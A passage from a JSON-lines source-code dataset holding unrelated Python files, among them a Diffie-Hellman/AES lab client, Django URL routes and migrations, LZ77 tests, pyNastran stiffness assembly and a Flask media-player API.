new_flux","sub_path":"soft/republic_v1.py","file_name":"republic_v1.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"483479952","text":"import loginSystem\r\nimport queuesSystem\r\n\r\nclass User:\r\n def __init__(self):\r\n self.name = \"\"\r\n self.admin = False\r\n def __str__(self):\r\n return self.name\r\n\r\n \r\ndef loginMenu():\r\n opt = input('''\r\n--Login Menu--\r\n\r\nEnter the number for the option you want to choose\r\n1) Login\r\n2) Sign up\r\n\r\n[>> ''')\r\n try:\r\n if opt == \"1\":\r\n response = LogSys.login()\r\n if response == 'esc':\r\n loginMenu()\r\n else:\r\n user.name = response\r\n storeSelector(user.name)\r\n if opt == \"2\":\r\n LogSys.signup()\r\n loginMenu()\r\n except:\r\n print(\"\\n\\nThere was an error in the system\\nYou have been returned to the Login Menu\\n\\n\")\r\n loginMenu()\r\n\r\ndef storeSelector(user):\r\n print(\"\\n--Store Selector--\\n\")\r\n for i in range(0,len(qSystem.queues)):\r\n print(str(i+1)+\") \"+list(qSystem.queues.keys())[i])\r\n logoutnum = i+2\r\n print(str(i+2)+\") Logout\")\r\n opt = int(input(\"[>> \"))\r\n if opt == logoutnum:\r\n loginMenu()\r\n elif opt >= 1 and opt <= logoutnum-1:\r\n queueMenu(user, list(qSystem.queues.keys())[opt-1])\r\n else:\r\n print(\"\\nThat is not an option\\n\")\r\n storeSelector(user)\r\n \r\ndef queueMenu(user, store):\r\n opt = input('''\r\n--Main Menu--\r\n\r\nEnter the number for the option you want to choose\r\n1) View slots\r\n2) Claim a slot\r\n3) Cancel a slot\r\n4) Return to store select\r\n5) Logout\r\n\r\n[>> ''')\r\n if opt == \"1\":\r\n qSystem.displaySlots(store)\r\n input(\"Press enter to return to the main menu\")\r\n queueMenu(user, store)\r\n if opt == \"2\":\r\n qSystem.displaySlots(store)\r\n response = qSystem.claimSlot(store,input(\"\\nEnter the time you want to claim exactly as it appears on the screen [>> \"),user)\r\n qSystem.updateCSV()\r\n print(response)\r\n input(\"Press enter to return to the main menu\")\r\n queueMenu(user, store)\r\n if opt == \"3\":\r\n qSystem.displaySlots(store)\r\n response = qSystem.cancelSlot(store,input(\"\\nEnter the time you want to cancel exactly as it appears on the screen [>> \"),user)\r\n qSystem.updateCSV()\r\n print(response)\r\n input(\"Press enter to return to the main menu\")\r\n queueMenu(user, store)\r\n if opt == \"4\":\r\n storeSelector(user)\r\n if opt == \"5\":\r\n loginMenu()\r\n \r\nLogSys = loginSystem.System(\"users.csv\")\r\nuser = User()\r\nqSystem = queuesSystem.QueueSystem(\"queuesSS\")\r\n\r\nloginMenu()\r\n","sub_path":"Fernley_Virtual_Queue/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"506639081","text":"#!/usr/bin/env python3\n\nimport socket\nimport pyDH\nimport base64\nimport hashlib\nfrom Crypto import Random\nfrom Crypto.Cipher import AES\nimport socks\n\n\nclass AESCipher(object):\n\n def __init__(self, key): \n self.bs = AES.block_size\n self.key = hashlib.sha256(key.encode()).digest()\n\n def encrypt(self, raw):\n raw = self._pad(raw)\n iv = Random.new().read(AES.block_size)\n cipher = AES.new(self.key, AES.MODE_CBC, iv)\n return base64.b64encode(iv + cipher.encrypt(raw.encode()))\n\n def decrypt(self, enc):\n enc = base64.b64decode(enc)\n iv = enc[:AES.block_size]\n cipher = AES.new(self.key, AES.MODE_CBC, iv)\n return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')\n\n def _pad(self, s):\n return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)\n\n @staticmethod\n def _unpad(s):\n return s[:-ord(s[len(s)-1:])]\n\nHOST = '127.0.0.1'\nPORT = 65431 \n\n\nd1 = pyDH.DiffieHellman()\nd1_pubkey = d1.gen_public_key()\n\nwith socks.socksocket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.set_proxy(socks.SOCKS5, \"0.tcp.ngrok.io\", 18764)\n s.connect((HOST, PORT))\n s.sendall(d1_pubkey.to_bytes(256, byteorder='big'))\n data = s.recv(256)\n print('Received', repr(data))\n d1_sharedkey = d1.gen_shared_key(int.from_bytes(data, \"big\") )\n print(d1_sharedkey)\n\n a = AESCipher(d1_sharedkey)\n z = a.encrypt('hello!')\n s.sendall(z)\n\n\n","sub_path":"CryptoProtocol/Lab1_DH/alice.py","file_name":"alice.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545195038","text":"from .models import Day, NORMAL, BOOSTED, POWER_ITEM, POWER_ADD_ON\n\n\ndef get_only_unique_and_same(pokemons):\n #!!!!!! This is partially bad cause I'm splitting up unique in to pieces of\n #!!!!!! 10 but same is getting checking for all of them when it shouldn't\n #!!!!!! would need to reevaluate the module as a whole so I will defer it\n checked = []\n unique = [[],]\n same = [[],]\n same_checks = [[],]\n unique_index = 0\n for pokemon in pokemons:\n only_pokemon_name = pokemon.rsplit(POWER_ADD_ON)[0]\n if only_pokemon_name not in checked:\n checked.append(only_pokemon_name)\n if len(unique[unique_index]) == 10:\n unique_index += 1\n unique.append([])\n unique[unique_index].append(pokemon)\n else:\n added = False\n for i in range(0, len(same_checks)):\n if only_pokemon_name not in same_checks[i]:\n same_checks[i].append(only_pokemon_name)\n same[i].append(pokemon)\n added = True\n break\n if not added:\n same_checks.append([only_pokemon_name])\n same.append([pokemon])\n\n return unique + same\n\ndef get_ordered_common_stat_ev(stat, stat_map):\n if stat_map is None or stat not in stat_map:\n return None\n else:\n stat_evs = stat_map[stat]\n max_ev = []\n stat_ev_list = list(stat_evs.keys())\n while len(stat_ev_list) > 0:\n next_ev = None\n next_ev_num = 0\n for j in range(0, len(stat_ev_list)):\n ev = stat_ev_list[j]\n ev_num = len(get_only_unique_and_same(stat_evs[ev])[0])\n if next_ev is None:\n next_ev = ev\n next_ev_num = ev_num\n elif ev_num > next_ev_num:\n next_ev = ev\n max_ev.append(next_ev)\n stat_ev_list.remove(next_ev)\n return max_ev\n\ndef return_best_stat_ev(stat, ordered_evs, used, team, stat_map):\n target_stat = stat_map[stat]\n max_available_team = None\n max_available_ev = None\n for ev in ordered_evs:\n job_teams = get_only_unique_and_same(target_stat[ev])\n for job_team in job_teams:\n valid_job_team = True\n for pokemon in job_team:\n valid_job_team = valid_job_team and pokemon.rsplit(POWER_ADD_ON)[0] not in used\n if len(job_team) > 0 and valid_job_team and (max_available_ev is None or len(job_team) > len(max_available_team)):\n max_available_team = job_team\n max_available_ev = ev\n\n if max_available_ev is not None:\n target_team = target_stat[max_available_ev]\n is_done = len(max_available_team) == len(target_team)\n for pokemon in max_available_team:\n used.append(pokemon.rsplit(POWER_ADD_ON)[0])\n if not is_done:\n target_team.remove(pokemon)\n if is_done:\n del target_stat[max_available_ev]\n\n return max_available_ev, max_available_team\n\n\ndef optimal_calc(team, stat_map):\n best_days = []\n needed_stats = [stat for stat in stat_map if len(stat_map[stat]) > 0]\n team_names = [pokemon.get_unique_name() for pokemon in team]\n\n while(len(needed_stats) > 0):\n day = Day()\n enlisted = []\n stat_index = 0\n while stat_index < len(needed_stats) and len(enlisted) < len(team):\n stat = needed_stats[stat_index]\n target_stat = stat_map[stat]\n ordered_ev_stats = get_ordered_common_stat_ev(stat, stat_map)\n ev, pokemon_needed = return_best_stat_ev(stat, ordered_ev_stats, enlisted, team, stat_map)\n if ev is not None:\n day.jobs[stat] = (ev, pokemon_needed)\n stat_index += 1\n\n best_days.append(day)\n needed_stats = [stat for stat in stat_map if len(stat_map[stat]) > 0]\n\n # Reorder days based on length for calendar\n best_days.sort(key=lambda day : day.get_total_pokemon(), reverse=True)\n for i in range(0,len(best_days)):\n day = best_days[i]\n day.num = i+1\n # print(\"Day\",day.get_num(), day.get_total_pokemon())\n # for stat in day.get_jobs():\n # print(\"\\t\",stat, day.get_jobs()[stat])\n Day.num = 0\n return best_days\n\n#Test\ndef check_days_number(team, days):\n expected_count = 0\n for pokemon in team:\n ev_calc = pokemon.get_ev_calcs()\n for stat in ev_calc:\n expected_count += len(ev_calc[stat][1])\n\n actual_count = 0\n for day in days:\n for stat in day.get_jobs():\n actual_count += len(day.get_jobs()[stat][1])\n return actual_count == expected_count\n\n#Test\ndef get_power_items_and_check(team, days):\n name_pokemon = {pokemon.get_unique_name() : pokemon for pokemon in team}\n stat_max_power_item = { 'HP':0, 'Atk':0, 'Def':0, 'SpA':0, 'SpD':0, 'Spe':0 }\n for day in days:\n for stat in day.get_jobs():\n amount, pokemons = day.get_jobs()[stat]\n current_power_item = 0\n for pokemon in pokemons:\n indiv_amount = amount\n if POWER_ADD_ON in pokemon:\n indiv_amount = BOOSTED[NORMAL.index(amount)]\n current_power_item += 1\n pokemon_name = pokemon.rsplit(POWER_ADD_ON)[0]\n actual_pokemon = name_pokemon[pokemon_name]\n actual_pokemon.subtract_evs(stat, indiv_amount)\n if stat_max_power_item[stat] < current_power_item:\n stat_max_power_item[stat] = current_power_item\n all_zero = True\n for pokemon in team:\n all_zero = all_zero and pokemon.has_no_evs()\n\n actual_power_items = [[POWER_ITEM[stat], stat_max_power_item[stat]] for stat in POWER_ITEM]\n\n return actual_power_items, all_zero\n","sub_path":"EVCalcApp/ev_calc.py","file_name":"ev_calc.py","file_ext":"py","file_size_in_byte":5882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86039681","text":"## Simple Berechnung der Distanz zweier Punkte anhand ihrer\n## Geokoordinaten.\nfrom math import radians, sin, cos, acos\n\n\ndef geodist(P1, P2):\n \"\"\"Berechnet die Entfernung in [km] zweier Punkte auf der Erdoberfläche.\n Die Punkte P1 und P2 müssen als Tupel zweier Geokoordinaten vorliegen,\n also beispielsweise (52.1234, 7.8901).\"\"\"\n L1, B1 = map(radians, P1)\n L2, B2 = map(radians, P2)\n return 6378.388 * acos(sin(L1) * sin(L2)\n + cos(L1) * cos(L2) * cos(B2-B1))\n\n\t\t\t\t\t\n\t\t\t\t\t\t \n\"\"\"\nif __name__==\"__main__\":\n Dortmund = 51.51, 7.47\n Berlin = 52.52, 13.4\n Entfernung = geodist(Dortmund, Berlin)\n print(f\"Entfernung Dortmund-Berlin: {Entfernung:.2f} km\")\n\"\"\" \n\n","sub_path":"geodist.py","file_name":"geodist.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"251253915","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('bookmark', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Click',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('time', models.DateTimeField(null=True, default=django.utils.timezone.now)),\n ('address', models.CharField(null=True, max_length=500)),\n ('browser', models.CharField(null=True, max_length=500)),\n ('user', models.IntegerField(null=True, max_length=255)),\n ('bookmark', models.ForeignKey(to='bookmark.Bookmark')),\n ],\n ),\n ]\n","sub_path":"urlybird/click/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"517710303","text":"from src.pynflate.lz77 import Lz77\nfrom src.pynflate.lz77 import Codeword\n\n\nclass TestLz77(object):\n def test_empty(self):\n lz77 = Lz77(6)\n codewords = list(lz77.compress(''))\n assert codewords == []\n\n def test_one_char(self):\n lz77 = Lz77(6)\n original = 'x'\n\n codewords = list(lz77.compress(original))\n assert codewords == [(0, 0, 'x')]\n\n decompressed = lz77.decompress(codewords)\n assert decompressed == original\n\n def test_all_same(self):\n lz77 = Lz77(6)\n original = 'xxxxxxxxxx'\n\n codewords = list(lz77.compress(original))\n assert codewords == [(0, 0, 'x'), (1, 8, 'x')]\n\n decompressed = lz77.decompress(codewords)\n assert decompressed == original\n\n def test_nothing_special(self):\n lz77 = Lz77(6)\n # https://www.cs.cmu.edu/afs/cs/project/pscico-guyb/realworld/www/slidesF08/suffixcompress.pdf\n original = 'aacaacabcabaaac'\n\n codewords = list(lz77.compress(original))\n assert codewords == [(0, 0, 'a'), (1, 1, 'c'), (3, 4, 'b'), (3, 3, 'a'), (1, 2, 'c')]\n\n decompressed = lz77.decompress(codewords)\n assert decompressed == original\n\n # 0<=0 1<=4 2<=5 4<=7 0<=0\n codewords = [(0, 0, 'a'), (1, 4, 'b'), (2, 5, 'c'), (4, 7, 'd'), (0, 0, 'e')]\n # a\n # back 1 \\|\n # 4 chars: a a a a + b\n # back 2 \\___/\n # 5 chars: a b a b a + c\n # back 4 \\_______/\n # 7 chars: a b a c a b a + d\n # back 0 \\/\n # 0 char: + e\n # aaaaabababacabacabade\n codewords = [Codeword(x[0], x[1], x[2]) for x in codewords]\n tmp = lz77.decompress(codewords)\n # 'aaaaabababacabacabade'\n\n return","sub_path":"tests/test_lz77.py","file_name":"test_lz77.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400859786","text":"from __future__ import annotations\nfrom typing import Tuple, Any, TYPE_CHECKING\n#from typing import List, Dict, Tuple, Union, Any\n\nimport numpy as np\nimport scipy.sparse as sci_sparse\n\nfrom .utils import lambda1d\nif TYPE_CHECKING: # pragma: no cover\n from pyNastran.bdf.bdf import BDF\n\n\ndef build_Kbb(model: BDF, dof_map, ndof, dtype='float32') -> Tuple[np.array, Any]:\n \"\"\"[K] = d{P}/dx\"\"\"\n Kbb = np.zeros((ndof, ndof), dtype=dtype)\n Kbbs = sci_sparse.dok_matrix((ndof, ndof), dtype=dtype)\n #print(dof_map)\n\n #_get_loadid_ndof(model, subcase_id)\n nelements = 0\n nelements += _build_kbb_celas1(model, Kbb, Kbbs, dof_map)\n nelements += _build_kbb_celas2(model, Kbb, Kbbs, dof_map)\n nelements += _build_kbb_conrod(model, Kbb, Kbbs, dof_map)\n nelements += _build_kbb_crod(model, Kbb, Kbbs, dof_map)\n nelements += _build_kbb_ctube(model, Kbb, Kbbs, dof_map)\n nelements += _build_kbb_cbar(model, Kbb, Kbbs, dof_map)\n assert nelements > 0, nelements\n Kbbs2 = Kbbs.tocsc()\n Kbb2 = Kbbs2.toarray()\n error = np.linalg.norm(Kbb - Kbb2)\n if error > 1e-12:\n model.log.warning(f'error = {error}')\n return Kbb, Kbbs2\n\n\ndef _build_kbb_celas1(model: BDF, Kbb, Kbbs, dof_map):\n \"\"\"fill the CELAS1 Kbb matrix\"\"\"\n celas1s = model._type_to_id_map['CELAS1']\n for eid in celas1s:\n elem = model.elements[eid]\n ki = elem.K()\n #print(elem, ki)\n #print(elem.get_stats())\n _build_kbbi_celas12(Kbb, Kbbs, dof_map, elem, ki)\n return len(celas1s)\n\ndef _build_kbb_celas2(model: BDF, Kbb, Kbbs, dof_map):\n \"\"\"fill the CELAS2 Kbb matrix\"\"\"\n celas2s = model._type_to_id_map['CELAS2']\n #celas3s = model._type_to_id_map['CELAS3']\n #celas4s = model._type_to_id_map['CELAS4']\n for eid in celas2s:\n elem = model.elements[eid]\n ki = elem.K()\n #print(elem, ki)\n #print(elem.get_stats())\n _build_kbbi_celas12(Kbb, Kbbs, dof_map, elem, ki)\n return len(celas2s)\n\ndef _build_kbbi_celas12(Kbb, Kbbs, dof_map, elem, ki):\n \"\"\"fill the CELASx Kbb matrix\"\"\"\n nid1, nid2 = elem.nodes\n c1, c2 = elem.c1, elem.c2\n i = dof_map[(nid1, c1)]\n j = dof_map[(nid2, c2)]\n k = ki * np.array([[1, -1,],\n [-1, 1]])\n ibe = [\n (i, 0),\n (j, 1),\n ]\n for ib1, ie1 in ibe:\n for ib2, ie2 in ibe:\n Kbb[ib1, ib2] += k[ie1, ie2]\n Kbbs[ib1, ib2] += k[ie1, ie2]\n #Kbb[j, i] += ki\n #Kbb[i, j] += ki\n #del i, j, ki, nid1, nid2, c1, c2\n\ndef _build_kbb_cbar(model, Kbb, Kbbs, dof_map):\n \"\"\"fill the CBAR Kbb matrix\"\"\"\n cbars = model._type_to_id_map['CBAR']\n for eid in cbars:\n elem = model.elements[eid]\n pid_ref = elem.pid_ref\n mat = pid_ref.mid_ref\n _build_kbbi_conrod_crod(Kbb, Kbbs, dof_map, elem, mat)\n return len(cbars)\n\ndef _build_kbb_crod(model, Kbb, Kbbs, dof_map):\n \"\"\"fill the CROD Kbb matrix\"\"\"\n crods = model._type_to_id_map['CROD']\n for eid in crods:\n elem = model.elements[eid]\n pid_ref = elem.pid_ref\n mat = pid_ref.mid_ref\n _build_kbbi_conrod_crod(Kbb, Kbbs, dof_map, elem, mat)\n return len(crods)\n\ndef _build_kbb_ctube(model: BDF, Kbb, Kbbs, dof_map):\n \"\"\"fill the CTUBE Kbb matrix\"\"\"\n ctubes = model._type_to_id_map['CTUBE']\n for eid in ctubes:\n elem = model.elements[eid]\n pid_ref = elem.pid_ref\n mat = pid_ref.mid_ref\n _build_kbbi_conrod_crod(Kbb, Kbbs, dof_map, elem, mat)\n return len(ctubes)\n\ndef _build_kbb_conrod(model: BDF, Kbb, Kbbs, dof_map):\n \"\"\"fill the CONROD Kbb matrix\"\"\"\n conrods = model._type_to_id_map['CONROD']\n for eid in conrods:\n elem = model.elements[eid]\n mat = elem.mid_ref\n _build_kbbi_conrod_crod(Kbb, Kbbs, dof_map, elem, mat)\n return len(conrods)\n\ndef _build_kbbi_conrod_crod(Kbb, Kbbs, dof_map, elem, mat, fdtype='float64'):\n \"\"\"fill the ith rod Kbb matrix\"\"\"\n nid1, nid2 = elem.nodes\n #mat = elem.mid_ref\n xyz1 = elem.nodes_ref[0].get_position()\n xyz2 = elem.nodes_ref[1].get_position()\n dxyz12 = xyz1 - xyz2\n L = np.linalg.norm(dxyz12)\n E = mat.E\n G = mat.G()\n J = elem.J()\n A = elem.Area()\n E = elem.E()\n #L = elem.Length()\n k_axial = A * E / L\n k_torsion = G * J / L\n\n assert isinstance(k_axial, float), k_axial\n assert isinstance(k_torsion, float), k_torsion\n #Kbb[i, i] += ki[0, 0]\n #Kbb[i, j] += ki[0, 1]\n #Kbb[j, i] = ki[1, 0]\n #Kbb[j, j] = ki[1, 1]\n k = np.array([[1., -1.],\n [-1., 1.]]) # 1D rod\n Lambda = lambda1d(dxyz12, debug=False)\n K = Lambda.T @ k @ Lambda\n #i11 = dof_map[(n1, 1)]\n #i12 = dof_map[(n1, 2)]\n\n #i21 = dof_map[(n2, 1)]\n #i22 = dof_map[(n2, 2)]\n\n nki, nkj = K.shape\n K2 = np.zeros((nki*2, nkj*2), dtype=fdtype)\n\n i1 = 0\n i2 = 3 # dof_map[(n1, 2)]\n if k_torsion == 0.0: # axial; 2D or 3D\n K2 = K * k_axial\n n_ijv = [\n # axial\n dof_map[(nid1, 1)], dof_map[(nid1, 2)], dof_map[(nid1, 3)],\n dof_map[(nid2, 1)], dof_map[(nid2, 2)], dof_map[(nid2, 3)],\n ]\n dofs = np.array([\n i1, i1+1, i1+2,\n i2, i2+1, i2+2,\n ], dtype='int32')\n elif k_axial == 0.0: # torsion; assume 3D\n K2 = K * k_torsion\n n_ijv = [\n # torsion\n dof_map[(nid1, 4)], dof_map[(nid1, 5)], dof_map[(nid1, 6)],\n dof_map[(nid2, 4)], dof_map[(nid2, 5)], dof_map[(nid2, 6)],\n ]\n dofs = np.array([\n i1, i1+1, i1+2,\n i2, i2+1, i2+2,\n ], dtype='int32')\n else: # axial + torsion; assume 3D\n # u1fx, u1fy, u1fz, u2fx, u2fy, u2fz\n K2[:nki, :nki] = K * k_axial\n\n # u1mx, u1my, u1mz, u2mx, u2my, u2mz\n K2[nki:, nki:] = K * k_torsion\n\n dofs = np.array([\n i1, i1+1, i1+2,\n i2, i2+1, i2+2,\n\n i1+3, i1+4, i1+5,\n i2+3, i2+4, i2+5,\n ], dtype='int32')\n n_ijv = [\n # axial\n dof_map[(nid1, 1)], dof_map[(nid1, 2)], dof_map[(nid1, 3)],\n dof_map[(nid2, 1)], dof_map[(nid2, 2)], dof_map[(nid2, 3)],\n\n # torsion\n dof_map[(nid1, 4)], dof_map[(nid1, 5)], dof_map[(nid1, 6)],\n dof_map[(nid2, 4)], dof_map[(nid2, 5)], dof_map[(nid2, 6)],\n ]\n for dof1, i1 in zip(dofs, n_ijv):\n for dof2, i2 in zip(dofs, n_ijv):\n ki = K2[dof1, dof2]\n if abs(ki) > 0.:\n #print(nij1, nij2, f'({i1}, {i2});', (dof1, dof2), ki)\n Kbb[i1, i2] = ki\n Kbbs[i1, i2] = ki\n #print(K2)\n #print(Kbb)\n return\n","sub_path":"pyNastran/dev/solver/build_stiffness.py","file_name":"build_stiffness.py","file_ext":"py","file_size_in_byte":6681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"418236859","text":"#how to multiply very large numbers\n\ndef multiply(x, res,res_size): \n '''\n Multiply very large numbers like factorials.\n Multiplies x with the number represented by res[]. \n res_size is size of res[] \n or number of digits in the number represented \n by res[]. Uses simple old school \n mathematics for multiplication. \n https://www.geeksforgeeks.org/factorial-large-number/\n '''\n carry = 0 # Initialize carry \n \n # One by one multiply n with individual \n # digits of res[] \n i = 0\n while i < res_size : \n prod = res[i] * x + carry \n res[i] = prod % 10 # Store last digit of \n # 'prod' in res[] \n carry = prod/10 # Put rest in carry \n i = i + 1\n \n # Put carry in res and increase result size \n while (carry) : \n res[res_size] = carry % 10\n carry = carry / 10\n res_size = res_size + 1\n \n return res_size \n\nif __name__ == \"__main__\":\n res = [None]*500\n # Initialize result \n res[0] = 1\n res_size = 1\n x = 2\n n = 100\n while x < n:\n res_size = multiply(x, res, res_size) \n x += 1\n\n #print (res)\n print (res_size)\n\n s = \"\"\n resout = res[:res_size]\n print (resout)\n for z in resout:\n s += str(z)\n\n sum = 0\n for z in resout:\n sum += z\n\n print (sum)\n print (s[::-1])\n \n","sub_path":"euler/multiply_and_factorial.py","file_name":"multiply_and_factorial.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352113027","text":"\"\"\"statsproject URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom statsapp import views\n#from statsapp.views import MyPDFView\nfrom accounts import views as accounts_views\nfrom upload import views as dataset_upload_views\nfrom charts import views as chart_views\nfrom process import views as process_views\nfrom statistical import views as statistical_views\nfrom django.contrib.auth import views as auth_views\n#from wkhtmltopdf.views import PDFTemplateView\n\nurlpatterns = [\n\turl(r'^$', views.home, name='home'),\n\turl(r'^test/$', views.hometest, name='main'),\n\turl(r'^makeCol/$', dataset_upload_views.makeCol, name='makeCol'),\n\turl(r'^signup/$', accounts_views.signup, name='signup'),\n\t#\turl(r'^signup_success/$', accounts_views.signup_success, name='signup-success'),\n\turl(r'^login/$', auth_views.LoginView.as_view(template_name='login.html'), name='login'),\n\turl(r'^logout/$', auth_views.LogoutView.as_view(), name='logout'),\n\turl(r'^dataset/$', views.datasetlist, name='datasetlist'),\n\turl(r'^api/data/$', views.get_data, name='api-data'),\n\turl(r'^charts/$', chart_views.chart, name='chart'),\n\turl(r'^chart/(?P\\D+)/$', chart_views.get_visualization,name='visualization'),\n\turl(r'^saveGraph/$', chart_views.saveVisualization,name='save-visualization'),\n\turl(r'^getVisualization/$', chart_views.getVisualizationList,name='get-visualization'),\n\turl(r'^api/chart/data/(?P\\D+)/$', chart_views.visualization_data,name='visualization-data'),\n\turl(r'^api/chart/data/(?P\\D+)/(?P\\D+)/$', chart_views.get_data,name='chart-data'),\n\turl(r'^chart/(?P\\D+)/(?P\\D+)/$', chart_views.makechart, name='aschart'),\n\turl(r'^upload/$', dataset_upload_views.upload, name='upload'),\n\turl(r'^giveDatasetName/$', dataset_upload_views.giveDatasetName, name='give-dataset-name'),\n\turl(r'^upload/fileType/$', dataset_upload_views.submitFiletype, name='submitFiletype'),\n\turl(r'^upload/dataType/$', dataset_upload_views.changeDataTypeInMongo, name='submitDatatype'),\n\turl(r'^getDataset/$', chart_views.getDataset, name='getDataset'),\n\turl(r'^getGraphFields/$', chart_views.getGraphFields, name='getGraphFields'),\n\turl(r'^getGraphData/$', chart_views.getGraphData, name='getGraphData'),\n\turl(r'^makeProcess/$', process_views.makeProcess, name='makeProcess'),\n\turl(r'^getProcess/$', process_views.getProcess, name='getProcess'),\n\turl(r'^getProcessList/$', process_views.getProcessList, name='getProcessList'),\n\turl(r'^delete/(?P\\w+)/$', dataset_upload_views.deleteDataset,name='deleteDataset'),\n\turl(r'^updateVisualization/$', chart_views.editVisualisation, name='editVisualisation'),\n\turl(r'^delVisualization/(?P\\d+)/$', chart_views.delVisualization,name='delete-visualization'),\n\turl(r'^admin/', admin.site.urls),\n\turl(r'^account_activation_sent/$', accounts_views.account_activation_sent, name='account_activation_sent'),\n\turl(r'^activate/(?P[0-9A-Za-z_\\-]+)/(?P[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',\n\t\taccounts_views.activate, name='activate'),\n\t#url(r'^pdf/$', PDFTemplateView.as_view(template_name='pdftest.html',filename='mypdf.pdf'), name='pdf'),\t\n\t#url(r'^pdfresponse/$',MyPDFView.as_view(), name='pdfresponse'),\n\turl(r'^mysqlconnect/$', dataset_upload_views.mysqlconnect, name='mySqlConnector'),\n\turl(r'^saveStatistics/$',statistical_views.saveStatistics,name='saveStatistics'),\n\turl(r'^calculateStatistics/$',statistical_views.calculateStatistics,name='calculateStatistics'),\n\turl(r'^getStatistical/$', statistical_views.getStatisticalList,name='getStatistical'),\t\n\turl(r'^delStatistical/(?P\\d+)/$', statistical_views.delStatistical,name='delete-statistical'),\n\t\n\t#analytical urls\n\turl(r'^saveAnalytics/$',statistical_views.saveAnalytics,name='saveAnalytics'),\n\turl(r'^calculateAnalytics/$',statistical_views.calculateAnalytics,name='calculateAnalytics'),\n\turl(r'^getAnalytical/$', statistical_views.getAnalyticalList,name='getAnalytical'),\t\n\turl(r'^delAnalytical/(?P\\d+)/$', statistical_views.delAnalytical,name='delete-analytical'),\n\n]\nif settings.DEBUG:\n\turlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"statsproject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"286764318","text":"from flask import Blueprint, abort, jsonify\n\nfrom firestormd.ui.services import media_service\nfrom firestormd.media.exceptions import (\n NoMediaFoundError,\n NoMediaLoadedError,\n NoMediaPlayingError,\n MediaAlreadyPlayingError\n)\n\nplayer_blueprint = Blueprint(\"player\", __name__, url_prefix=\"/api/player\")\n\n\n@player_blueprint.route(\"/\", methods=[\"GET\"])\ndef get_player_status():\n return jsonify(media_service.get_player_status())\n\n\n@player_blueprint.route(\"/load/\", methods=[\"POST\"])\ndef load_media(media_id):\n try:\n media_service.load_media_by_id(media_id)\n return jsonify({\"status\": \"ok\"})\n except NoMediaFoundError:\n abort(404)\n\n\n@player_blueprint.route(\"/play\", methods=[\"POST\"])\ndef play_media():\n try:\n media_service.play_loaded_media()\n return jsonify({\"status\": \"ok\"})\n except NoMediaFoundError:\n abort(404)\n except NoMediaLoadedError:\n abort(400)\n except MediaAlreadyPlayingError:\n abort(400)\n\n\n@player_blueprint.route(\"/pause\", methods=[\"POST\"])\ndef pause_current_media():\n try:\n media_service.pause_loaded_media()\n return jsonify({\"status\": \"ok\"})\n except NoMediaLoadedError:\n abort(400)\n except NoMediaPlayingError:\n abort(400)\n\n\n@player_blueprint.route(\"/stop\", methods=[\"POST\"])\ndef stop_current_media():\n try:\n media_service.stop_loaded_media()\n return jsonify({\"status\": \"ok\"})\n except NoMediaLoadedError:\n abort(400)\n","sub_path":"firestormd/ui/resources/playerresource.py","file_name":"playerresource.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"101668886","text":"'''\nCreated on Mar 8, 2012\n\n@author: mikekan\n'''\n\nimport sqlite3\nfrom user import User\n\nfrom datetime import date\nimport logging\n\nlogger = logging.getLogger(\"auth\")\n\nclass UserStore(object):\n _instance = None\n _connection = None\n database_path = ':memory:'\n \n def __new__(cls, *args, **kwargs):\n if not cls._instance:\n cls._instance = super(UserStore, cls).__new__(\n cls, *args, **kwargs)\n return cls._instance\n \n def __init__(self):\n pass\n \n def __get_connection__(self):\n if (self._connection == None):\n logger.debug('Initializing sqlite3 db.')\n self._connection = sqlite3.connect(self.database_path)\n return self._connection\n \n def __get_cursor__(self):\n return self.__get_connection__().cursor()\n \n def close(self):\n if self._connection != None:\n try:\n self._connection.close()\n self._connection = None\n except:\n # Do nothing as the connection couldn't close\n pass\n \n def 